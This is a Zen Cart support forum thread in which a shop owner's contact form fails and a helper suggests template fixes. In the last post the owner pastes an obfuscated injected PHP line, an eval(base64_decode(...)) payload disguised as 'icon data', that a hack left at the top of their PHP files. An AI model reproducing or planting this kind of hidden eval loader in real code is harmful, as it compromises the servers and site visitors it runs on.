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  1. #1
    Join Date
    Aug 2008
    Posts
    48
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    0

    Default Contact Form not working

    Hi! I have been searching for an answer to this for days and I don't see any posts with my specific problem (or I'm not looking in the right place)

    My Contact Us form does not work. When a customer clicks send it just refreshes the same page. I don't know enough to use the debug tools that everyone mentions to ascertain if it a zen issue or my host settings. Please help!

    website is http://www.graphxfairy.com

    namecheap is my host

    Apache version 2.2.15
    PHP version 5.2.13

    My email settings:
    E-Mail Transport Method sendmail
    E-Mail Linefeeds LF
    Use MIME HTML When Sending Emails false
    Send E-Mails true Info
    Email Archiving Active? false
    E-Mail Friendly-Errors false
    Email Address (Displayed to Contact you) [email protected]
    Email Address (sent FROM) [email protected]
    Emails must send from known domain? No
    Email Admin Format? HTML

  2. #2
    Join Date
    Aug 2008
    Posts
    48
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    Default Re: Contact Form not working

    Does anyone have any ideas?

  3. #3
    Join Date
    Nov 2007
    Location
    Woodbine, Georgia, United States
    Posts
    4,009
    Plugin Contributions
    61

    Default Re: Contact Form not working

    Start by replacing the default/custom template file in your template directory called tpl_contact_us_default.php with a fresh correct file from Zen Cart for your version.

    ~Melanie
    PRO-Webs, Inc. :: Recent Zen Cart Projects :: Zen Cart SEO – 12 Steps to Success
    **I answer questions in the forum, private messages are NOT answered. You are welcome to contact us via our website for professional engagements.

  4. #4
    Join Date
    Aug 2008
    Posts
    48
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    Default Re: Contact Form not working

    Thank you so much for taking the time to respond. It did not work.

  5. #5
    Join Date
    Nov 2007
    Location
    Woodbine, Georgia, United States
    Posts
    4,009
    Plugin Contributions
    61

    Default Re: Contact Form not working

    Checkout forms work?


    ~Melanie
    PRO-Webs, Inc. :: Recent Zen Cart Projects :: Zen Cart SEO – 12 Steps to Success
    **I answer questions in the forum, private messages are NOT answered. You are welcome to contact us via our website for professional engagements.

  6. #6
    Join Date
    Aug 2008
    Posts
    48
    Plugin Contributions
    0

    Default Re: Contact Form not working

    It seems so except I offer digital downloads and a few people have said they are not getting their link, but it looks as if they did on my end.

  7. #7
    Join Date
    Aug 2008
    Posts
    48
    Plugin Contributions
    0

    Default Re: Contact Form not working

    I am seeing this at the top of all of php files. I know I was hacked and went through the steps to recover, but it keeps coming back. Would that be the problem?

    <?php /*Packed BLOB icon data. Corruption may result script execution errors. Don't touch it unless you know what you are doing.*/ eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxL Q2RhV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMlJvVmpGc2RsTnJXVFZUUmtwWFZXMUtT MDB4U25OWmVrNVRaRzFPZFZOdWJFdE5WRUUxVlVaT2FtVkZjRFZpUkdSS1VqRmFjVmxWWXpSYU1HOTVZ VEprYVZKNmEzbFhiRTVEVGxkSmVsWlhOVkJsVlVweldsVmtjMDFGT1RWUmFteEtVVmhDZDFkdGJHOWpS MDE2VkcxNGExRXlaSEpYUkVaRFZVWlZlRlZ0U2t0TmJtZ3lXa2N4Vm1Kc2FGUmhNMEpzWkROQ2MxcEhN VWRqTUhSRVZXMWFWbEpVYkZWV2ExcDZZbTFLU0U5VVNtRlZNbEpyVXpGU2VsTXhjRmxoU0VKclVraE9U RnBzUlRsUVUyTndTMVJ6UFNjcEtUcz0nKSk7'));?><?php

 

 

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